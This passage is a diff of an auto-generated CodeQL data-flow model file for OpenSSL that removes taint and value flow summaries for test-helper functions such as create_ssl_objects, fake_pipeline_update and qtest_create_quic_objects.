"configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[5]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[6]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*5]", "Argument[5]", "value", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*6]", "Argument[*2]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[4]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[5]", "Argument[*1]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[6]", "Argument[*2]", "taint", "df-generated"] - ["", "", True, "construct_ca_names", "(SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[**2]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[*2]", "Argument[**1]", "value", "dfc-generated"] @@ -9158,27 +9101,6 @@ extensions: - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "create_a_psk", "(SSL *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*master_key_length]", "value", "dfc-generated"] - - ["", "", True, "create_bare_ssl_connection", "(SSL *,SSL *,int,int,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "create_bare_ssl_connection", "(SSL *,SSL *,int,int,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_connection", "(SSL *,SSL *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_connection", "(SSL *,SSL *,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[*1]", "Argument[**5].Field[**method]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[*2]", "Argument[**6].Field[**method]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[1]", "Argument[**5].Field[*method]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[2]", "Argument[**6].Field[*method]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_ctx_pair", "(OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_objects2", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_objects2", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**2].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**2].Field[*wbio]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[4]", "Argument[**3].Field[*rbio]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**2].Field[*rbio]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**3].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] - - ["", "", True, "create_ssl_objects", "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)", "", "Argument[5]", "Argument[**3].Field[*wbio]", "value", "dfc-generated"] - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "crl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] @@ -16999,14 +16921,8 @@ extensions: - ["", "", True, "do_X509_REQ_verify", "(X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "do_X509_verify", "(X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "do_dtls1_write", "(SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] - - ["", "", True, "do_handshake", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)", "", "Argument[1]", "Argument[*0].Field[*client_hello_cb_arg]", "value", "dfc-generated"] - - ["", "", True, "do_handshake", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] - ["", "", True, "do_ssl_shutdown", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "do_updatedb", "(CA_DB *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "doit_biopair", "(SSL *,SSL *,long,clock_t *,clock_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "doit_biopair", "(SSL *,SSL *,long,clock_t *,clock_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "doit_localhost", "(SSL *,SSL *,int,long,clock_t *,clock_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "doit_localhost", "(SSL *,SSL *,int,long,clock_t *,clock_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "dsaparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] @@ -17046,7 +16962,6 @@ extensions: - ["", "", True, "ecparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "end_pkcs12_builder", "(PKCS12_BUILDER *)", "", "Argument[*0].Field[*success]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_dyn].Field[**next_dyn]", "value", "dfc-generated"] - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[0]", "Argument[*0].Field[**prev_dyn].Field[*next_dyn]", "value", "dfc-generated"] - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[1]", "Argument[*0].Field[*dynamic_id]", "value", "dfc-generated"] @@ -17125,39 +17040,6 @@ extensions: - ["", "", True, "evp_rand_can_seed", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[**meth].Field[*get_seed]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "evp_rand_get_number", "(const EVP_RAND *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "evp_signature_get_number", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "fake_cipher_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_cipher_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_aead_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_aead_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[**oiv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*iv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_dinit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*oiv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[**oiv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*iv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_einit", "(void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cipher_ctxs].Field[*oiv]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_final", "(void *,size_t,unsigned char **,size_t *,const size_t *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[**2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[**5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "value", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[*6]", "Argument[*3]", "value", "df-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[2]", "Argument[*0].Field[**cipher_ctxs].Field[*final]", "taint", "dfc-generated"] - - ["", "", True, "fake_pipeline_update", "(void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *)", "", "Argument[5]", "Argument[*0].Field[**cipher_ctxs].Field[*buf]", "taint", "dfc-generated"] - - ["", "", True, "fake_rand_set_callback", "(EVP_RAND_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**algctx].Field[*cb]", "value", "dfc-generated"] - - ["", "", True, "fake_rand_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_rand_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] - - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] - - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] @@ -18262,19 +18144,11 @@ extensions: - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "load_certs", "(const char *,int,stack_st_X509 **,const char *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - ["", "", True, "load_certs_multifile", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "load_certstore", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "load_crls", "(const char *,stack_st_X509_CRL **,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "load_csr_autofmt", "(const char *,int,stack_st_OPENSSL_STRING *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] - - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "load_excert", "(SSL_EXCERT **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*0]", "ReturnValue[*].Field[**dbfname]", "value", "dfc-generated"] - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*1]", "ReturnValue[*].Field[*attributes]", "value", "dfc-generated"] @@ -18288,10 +18162,6 @@ extensions: - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[9]", "Argument[*9]", "taint", "dfc-generated"] - - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "lookup_sess_in_cache", "(SSL_CONNECTION *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] @@ -18302,15 +18172,12 @@ extensions: - ["", "", True, "make_uppercase", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "mempacket_test_inject", "(BIO *,const char *,int,int,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "new_pkcs12_builder", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**filename]", "value", "dfc-generated"] - - ["", "", True, "new_pkcs12_builder", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[*filename]", "value", "dfc-generated"] - ["", "", True, "next_item", "(char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -21231,9 +21098,6 @@ extensions: - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "ossl_x509at_dup", "(const stack_st_X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "ossl_x509v3_cache_extensions", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] - - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] - - ["", "", True, "p_test_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "parse_ca_names", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "parse_yesno", "(const char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] @@ -21286,55 +21150,6 @@ extensions: - ["", "", True, "print_param_types", "(const char *,const OSSL_PARAM *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "print_verify_detail", "(SSL *,BIO *)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] - ["", "", True, "process_responder", "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - - ["", "", True, "pulldown_test_framework", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[*0]", "ReturnValue[*].Field[**qtserv]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[0]", "ReturnValue[*].Field[*qtserv]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_connection", "(QUIC_TSERVER *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_connection_ex", "(QUIC_TSERVER *,SSL *,int)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[**8].Field[*noiseargs]", "Argument[**6].Field[**ch].Field[**msg_callback_arg]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[*6]", "Argument[**8].Field[*qtserv]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", 